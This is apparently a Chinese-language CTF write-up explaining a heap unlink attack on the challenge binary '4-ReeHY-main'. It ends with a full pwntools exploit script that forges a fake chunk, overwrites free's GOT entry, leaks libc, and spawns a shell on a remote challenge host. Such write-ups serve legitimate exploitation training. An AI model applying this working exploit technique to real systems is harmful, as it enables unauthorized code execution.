简单unlink

堆结构

unlink的原理具体看whali3n51师傅的博客
现代unlink漏洞讲解与利用
堆溢出主要还是想办法让堆块重叠。
简单说一下unlink,差不多就是伪造块结构,


这样在free()后就将addr指向addr-0x18的地址。

这样在对堆块进行修改就可以覆盖其他的堆指针。

例子:

题目链接

查看保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

没开pie,部分got可写,

分析漏洞

1
2
3
4
5
6
7
8
9
10
puts("******************************");
puts("Welcome to my black weapon storage!");
puts("Now you can use it to do some evil things");
puts("1. create exploit");
puts("2. delete exploit");
puts("3. edit exploit");
puts("4. show exploit");
puts("5. exit");
puts("******************************");
return write(1, "$ ", 2uLL);

常见的菜单堆题,
add函数。

1
2
read(0, &buf, 0xAuLL);
return (unsigned int)atoi(&buf);

发现程序使用atoi()进行读入size,这时候我们要知道在atoi()里,注意整数溢出

nbytes会变成个非常大的值,不懂去学一下负数在内存中的储存跟有符号数和无符号数区别
result是小于4096,绕过长度监测,在3出栈溢出
不过我们学堆嘛,要学学堆的利用
add函数,最多放五个堆块指针
delete()函数

这个清零不是指针的清零。
edit()函数,常规修改,没啥洞
show()函数,在逗我。。。

思路

还是想办法让堆块重叠,
add() size A
add() size B
add() size C
free(B)
free(C)
add(B+C)
这样我们放置堆块的构造为

但是B的大小是B+C,实现了任意修改C块
伪造堆块,将C块的前一块判断位改为0,前一块大小位设置成伪造块大小,
freeC块,触发unlink
此时放置堆块的结构为

这时我们已经可以随意修改堆块指针了

这样我们对B块的edit其实就是修改free_got
修改成puts_plt表。因为我们到现在都没有泄露libc
然后我们free一个值为任意got表地址,泄露地址,
通过偏移找到system,将free_got表改为system
free值为’/bin/sh’ getshell

演示

伪造堆块

更改堆指针


箭头为free_got

更改free_got

edit(2,p64(puts_plt))

泄露地址

free(4)

getshell
1
2
3
4
5
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libcdata_addr=puts_addr-libc.symbols['puts']
system_addr=libcdata_addr+libc.symbols['system']
print "libcdata_addr=>",hex(libcdata_addr)
edit(2,p64(system_addr))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('4-ReeHY-main')
free_got=elf.got['free']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
p = process('./4-ReeHY-main')

else:
p = remote(ip,port)
def add(size,cun,context):
p.sendlineafter('$ ','1')
p.sendlineafter('Input size\n',str(size))
p.sendlineafter('Input cun\n',str(cun))
p.sendafter('Input content\n',context)
def free(size):
p.sendlineafter('$ ','2')
p.sendlineafter('Chose one to dele\n',str(size))
def edit(cun,context):
p.sendlineafter('$ ','3')
p.sendlineafter('Chose one to edit\n',str(cun))
p.sendafter('Input the content\n',context)
p.sendlineafter('$ ','w')

add(0x88,0,'/bin/sh\x00')
add(0x88,1,'b')
add(0x88,2,'a')
free(1)
free(2)
heap_addr=0x602110
payload=p64(0)+p64(0x81)+p64(heap_addr-0x18)+p64(heap_addr-0x10)+p64(0)*12+p64(0x80)+p64(0x90)
add(0x118,3,payload)

add(0x10,4,p64(puts_got))

free(2)

payload=p64(0)+p64(free_got)+p64(1)+p64(heap_addr-0x18)+p64(1)+p64(puts_got)
edit(3,payload)

edit(2,p64(puts_plt))
free(4)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libcdata_addr=puts_addr-libc.symbols['puts']

system_addr=libcdata_addr+libc.symbols['system']

print "libcdata_addr=>",hex(libcdata_addr)
edit(2,p64(system_addr))
free(0)

p.interactive()
if __name__ == '__main__':
pwn('111.198.29.45',41904,1)